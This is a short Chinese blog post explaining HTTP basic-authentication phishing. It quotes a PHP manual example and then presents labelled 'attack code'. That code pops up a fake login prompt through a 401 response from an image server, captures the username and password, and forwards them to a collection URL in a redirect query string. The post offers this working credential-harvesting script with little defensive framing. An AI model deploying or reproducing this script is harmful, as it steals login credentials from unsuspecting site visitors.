这篇文章上次修改于 812 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这几天基础认证钓鱼很火,论坛上面发的草榴站钓鱼文章也是这种方法。参考在黑吧的文
章总结一下,就是受访站点弹出像进入路由器那样的需要授权的网页需要认证的界面。

用php来实现钓鱼攻击方法:

php手册中有以下代码来演示基础认证登录

if (!isset($_SERVER[’PHP_AUTH_USER’])) 

{ header(’WWW-Authenticate: Basic realm="My Realm"’);

 header(’HTTP/1.0 401 Unauthorized’); 

echo ’Text to send if user hits Cancel button’; exit; } 

else { echo "

Hello {$_SERVER[’PHP_AUTH_USER’]}.
"; echo "

You entered {$_SERVER[’PHP_AUTH_PW’]} as your password.
"; }

首先定义HTTP头为WWW-Authenticate,然后相应为401 这样就可以构造一个简单的基础认证框。基本流程,用户访问被污染服务器,服务器返回信息,浏览器访问图片地址,图片服务器返回401响应,http头为WWW- Authenticate …..  ,浏览器弹出基础认证框, 由于Location:被定义为收信地址所以,浏览器跳转并转递信息至收信地址, 攻击完成。
攻击代码如下:

<!--?php
 $info=@$_GET[’info’];
 if(!isset($_SERVER[’PHP_AUTH_USER’])){
 header("WWW-Authenticate:BASIC Realm=$info");
 header("HTTP/1.0 401 Unauthorized");
 exit;
 }else{
 /*获取用户名,密码进行验证*/
 $user=$_SERVER[’PHP_AUTH_USER’];
 $pwd=$_SERVER[’PHP_AUTH_PW’];
 extract($_GET,EXTR_SKIP);
 if($user&&$pwd){
header("Location:https://www.baidu.com/config/log.php?user=$user&pass=$pwd");
 }else{
 header("WWW-Authenticate:BASIC Realm=user");
 header("HTTP/1.0 401 Unauthorized");
 exit;
 }
 }
?-->